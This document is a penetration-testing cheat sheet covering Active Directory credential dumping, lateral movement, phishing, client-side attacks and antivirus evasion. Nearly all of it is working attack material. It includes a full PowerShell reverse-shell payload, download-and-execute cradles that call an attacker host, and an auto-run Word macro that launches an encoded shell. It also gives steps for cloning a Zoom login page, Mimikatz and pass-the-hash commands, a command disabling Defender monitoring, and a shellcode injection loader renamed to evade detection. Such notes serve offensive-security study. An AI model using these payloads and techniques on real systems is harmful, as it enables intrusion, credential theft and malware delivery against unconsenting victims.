reg.exe save hklm\system c:\system.bak
# In our attack box
impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
```

## AD Tools

## Netexec

<pre class="language-bash"><code class="lang-bash"># Protocole Enumeration
netexec rdp   $ip -u 'user' -p 'pass' -x whoami
netexec wmi   $ip -u 'user' -p 'pass' -x whoami
netexec smb   $ip -u 'user' -p 'pass' -x whoami
netexec ldap  $ip -u 'user' -p 'pass'
netexec ftp   $ip -u 'user' -p 'pass'
netexec vnc   $ip -u 'user' -p 'pass'
netexec winrm $ip -u 'user' -p 'pass' -x whoami
netexec ssh   $ip -u 'user' -p 'pass' -x whoami
netexec nfs   $ip -u 'user' -p 'pass'
netexec mssql $ip -u 'user' -p 'pass' -x whoami

# SMB Module
netexec smb   $ip -u 'user' -p 'password'
netexec smb   $ip -u 'user' -p 'password' --local-auth
netexec smb   $ip -u 'user' -p 'password' --shares
netexec smb   $ip -u 'guest' -p '' --rid-brute
<strong>netexec smb   $ip -u users.txt -p passwords.txt --continue-on-success
</strong><strong>
</strong># Vulnerabilities Scan : www.netexec.wiki/smb-protocol/scan-for-vulnerabilities
netexec smb   $ip -u 'user' -p 'pass' -M zerologon 
netexec smb   $ip -u 'user' -p 'pass' -M printnightmare 
netexec smb   $ip -u 'user' -p 'pass' -M nopac 
netexec smb   $ip -u 'user' -p 'pass' -M smbghost 
netexec smb   $ip -u 'user' -p 'pass' -M ms17-010 
netexec smb   $ip -u 'user' -p 'pass' -M coerce_plus
</code></pre>

## Mimikatz

```bash
# Enable SeDebugPrivilege access right
privilege::debug
log
# Elevate to SYSTEM user privileges
token::elevate
# Extract Passwords/Hashes from the system
sekurlsa::logonpasswords
lsadump::sam
sekurlsa::tickets
sekurlsa::wdigest
# sekurlsa : Extracts passwords, keys, pin codes, tickets from the memory of LSASS
sekurlsa::ekeys
sekurlsa::dpapi
sekurlsa::msv
sekurlsa::kerberos
# lsadump : Dump credential / secret / account data from LSA
lsadump::secrets
lsadump::cache
# vault : Dump Windows Credential Vault entries
vault::cred /patch

# Dumping Hashes remotely
secretsdump.py administrator@192.168.194.141 -hashes :3c4495bbd678fac8c9d218be4f2bbc7b
```

## Lateral Movement

## Lateral Movement

### WMI  / WinRM

```bash
# WMI 135 : Remote Procedure Calls (RPC)
# We need the credentials of a member of the Administrators local group
wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
# with Powershell we can use it to get rev shell after base64 encoding
$username = 'jen'; $password = 'Nexus123!'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; $options = New-CimSessionOption -Protocol DCOM; $session = New-Cimsession -ComputerName 192.168.189.73 -Credential $credential -SessionOption $Options; $command = 'calc'; Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

# WinRM 5986,5985 : Microsoft Windows Remote Management
# We need a domain user with Administrators or Remote Management priv
winrs -r:files04 -u:jen -p:Nexus123!  "cmd /c hostname & whoami"
# Powershell
$username = 'jen'; $password = 'Nexus123!'; $secureString = ConvertTo-SecureString $password -AsPlaintext -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $secureString; New-PSSession -ComputerName 192.168.189.73 -Credential $credential;
Enter-PSSession 1
```

<pre class="language-python" data-title="Python code to encode PS rev shell payload with base64"><code class="lang-python">import sys
import base64
<strong>payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&#x26;1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
</strong>cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
</code></pre>

### PsExec

```bash
# We need a user of Administrators local group, ADMIN$ share must be available, File and Printer Sharing has to be turned on
.\PsExec64.exe -i  \\FILES04 -u corp\jen -p Nexus123! cmd
```

### Pass the Hash (PtH)

```powershell
# Pass the Hash from Windows Using Mimikatz:
mimikatz.exe privilege::debug "sekurlsa::pth /user:<user> /rc4:<hash> /domain:<domain> /run:cmd.exe" exit

# Pass the Hash with PowerShell Invoke-TheHash (Windows)
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target <IP> -Domain <domain> -Username <user> -Hash <hash> -Command "whoami" -Verbose

# Pass the Hash with Impacket (Linux) / impacket-wmiexec impacket-atexec impacket-smbexec
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453

# Pass the Hash with CrackMapExec (Linux)
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami

# Pass the Hash with evil-winrm (Linux)
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

# Enable Restricted Admin Mode to Allow PtH with RDP
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
# Pass the Hash with RDP (Linux)
xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

### Pass the Key / OverPass the Hash

```powershell
# Mimikatz - Pass the Key/OverPass the Hash
sekurlsa::pth /domain:domain.htb /user:user /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f /run:powershell

# Generate a TGT by authenticating to a network share. Converting NTLM hash to Kerberos TGT
net use \\files04
klist                        # Listing Kerberos tickets
.\PsExec.exe \\files04 cmd   # Opening remote connection using Kerberos auth

# Mimikatz - Extract Kerberos Keys
sekurlsa::ekeys

# Rubeus - Pass the Key/OverPass the Hash
Rubeus.exe asktgt /domain:domain.htb /user:user /aes256:b21c99f..SNIP..da3fe60 /nowrap
```

### Pass the Ticket (PtT)

<pre class="language-powershell"><code class="lang-powershell"># Pass the Ticket :  export a TGS ticket of a user and use it to authenticate to a specific service
# Mimikatz - Export Tickets
sekurlsa::tickets /export

# Rubeus - Export Tickets
Rubeus.exe dump /nowrap

# Rubeus Pass the Ticket
Rubeus.exe asktgt /domain:domain.htb /user:user /rc4:3f74a71..SNIP..2f077b1ce50f /ptt
# Another way is to import the ticket into the current session using the .kirbi
Rubeus.exe ptt /ticket:RND-user@krbtgt-domain.htb.kirbi
# Convert .kirbi to Base64 Format
[Convert]::ToBase64String([IO.File]::ReadAllBytes("RND-user@krbtgt-domain.htb.kirbi"))
# Pass the Ticket - Base64 Format
Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIzSrk/gHuER2XRLdV/&#x3C;SNIP>

# Mimikatz - Pass the Ticket
<strong>kerberos::ptt "C:\path\Mimikatz\RND-user@krbtgt-domain.htb.kirbi"
</strong>exit
dir \\DC01.inlanefreight.htb\c$

# Mimikatz - PowerShell Remoting - Pass the Ticket
kerberos::ptt "C:\path\Mimikatz\RND-user@krbtgt-domain.htb.kirbi"
exit
powershell
Enter-PSSession -ComputerName DC01
</code></pre>

### DCOM

```bash
# we need RPC port 135 and local administrator access
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.163.73"))
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e base64_revshell_encode","7")
```

### Relaying Net-NTLMv2

```powershell
# Starting ntlmrelayx for a Relay-attack targeting 192.168.0.2 : using www.revshells.com Powershell #3 (Base64)
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.0.2 -c "powershell -e JABjAGwAaQBlAG4AdA..."
```

## Phishing & Client-Side Attacks

## Phishing

### Cloning a Legitimate Website&#x20;

```bash
# Cloning the Zoom login page
wget -E -k -K -p -e robots=off -H -Dzoom.us -nd "https://zoom.us/signin#/login"
```

## Client-Side Attacks

### Information Gathering

```bash
# Display metadata of a file
exiftool -a -u brochure.pdf

# Extract info about the victim browser and OS
https://canarytokens.com
https://grabify.link
https://github.com/fingerprintjs/fingerprintjs
```

### Leveraging Microsoft Word Macros

```powershell
# use .doc for macros instead of .docx extension
# VBA Macro to run powershell
Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

# PS cradle to download and execute powercat need to base64-encode in UTF-16LE format
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell

# Python script used to split the base64-encoded string into smaller chunks
str = "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
	print("Str = Str + " + '"' + str[i:i+n] + '"')
```

```powershell
# The full macro invoking PowerShell to create a reverse shell
Sub AutoOpen()
    MyMacro
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub MyMacro()
    Dim Str As String
    
    Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
        Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
        Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
    ...
        Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
        Str = Str + "gADQANAA0ADQAIAAtAGUAIABwAG8AdwBlAHIAcwBoAGUAbABsA"
        Str = Str + "A== "

    CreateObject("Wscript.Shell").Run Str
End Sub
```

### Abusing Windows Library Files

```bash
# Starting WsgiDAV on port 80
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
```

{% code title="config.Library-ms : Windows Library code for connecting to our WebDAV Share. must change url" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1002</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://192.168.45.233</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```

{% endcode %}

```bash
# We can create a shortcut to receive a revshell with powercat
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.233:8000/powercat.ps1'); powercat -c 192.168.45.233 -p 4444 -e powershell"
```

<pre class="language-bash"><code class="lang-bash"><strong># Sending emails with the Windows Library file as attachment to marcus and daniela
</strong><strong>sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap
</strong></code></pre>

#### **Automation**

```bash
# Creates a malicious ODF document help leak NetNTLM Creds
python3 badodt.py
# Generate malicious macros using different techniques for MS Office and Libreoffice
# Libreoffice : Tools -> Macros ; Tools -> Customize -> Event -> Open Document
python3 macro-generator.py -l 192.168.45.236 -p 443 -r ':80/rshell.exe'
# https://github.com/0bfxgh0st/MMG-LO/
python3 mmg-ods.py windows 192.168.45.159 1337
```

## Bypass and Evasion

#### Bypass

```bash
# Bypass the execution policy in PS
powershell -ep bypass

# Powershell command using to disable real time monitoring in Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable Powershell ExecutionPolicy
Set-ExecutionPolicy Unrestricted
Get-ExecutionPolicy

# Verifying if Credential Guard is enabled : DeviceGuardSecurityServicesConfigured, DeviceGuardSecurityServicesRunning
Get-ComputerInfo
```

```powershell
# Changing the ExecutionPolicy for our current user
Get-ExecutionPolicy -Scope CurrentUser
Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
```

```powershell
# In-memory payload injection script for PowerShell
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = 
  Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
```

```bash
# msfvenom PowerShell (x86) payload 
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=443 -f powershell -v sc
```

```powershell
# Renaming variables for In-memory Injection
$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$var295 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $var195 = <place your shellcode here>;

$size = 0x1000;

if ($var195.Length -gt 0x1000) {$size = $var195.Length};

$x = $var295::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($var195.Length-1);$i++) {$var295::memset([IntPtr]($x.ToInt32()+$i), $var195[$i], 1)};

$var295::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };
```

```bash
# Shellter is a dynamic shellcode injection tool
sudo shellter
```

```bash
# Reflectively load a DLL/EXE in to PowerShell process
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
```

**LSA Dump**

```bash
Invoke-Ninilib.obf.ps1
pypykatz lsa minidump System.cache.dmp
```

## Cloud

#### Jenkins

```bash
- Some times you can create an account

# Enumeration
msf6 > use auxiliary/scanner/http/jenkins_enum

# Jenkins wordlist
/usr/share/wordlists/jenkins.txt

# Tools
https://github.com/Accenture/jenkins-attack-framework
https://github.com/gquere/pwn_jenkins
```
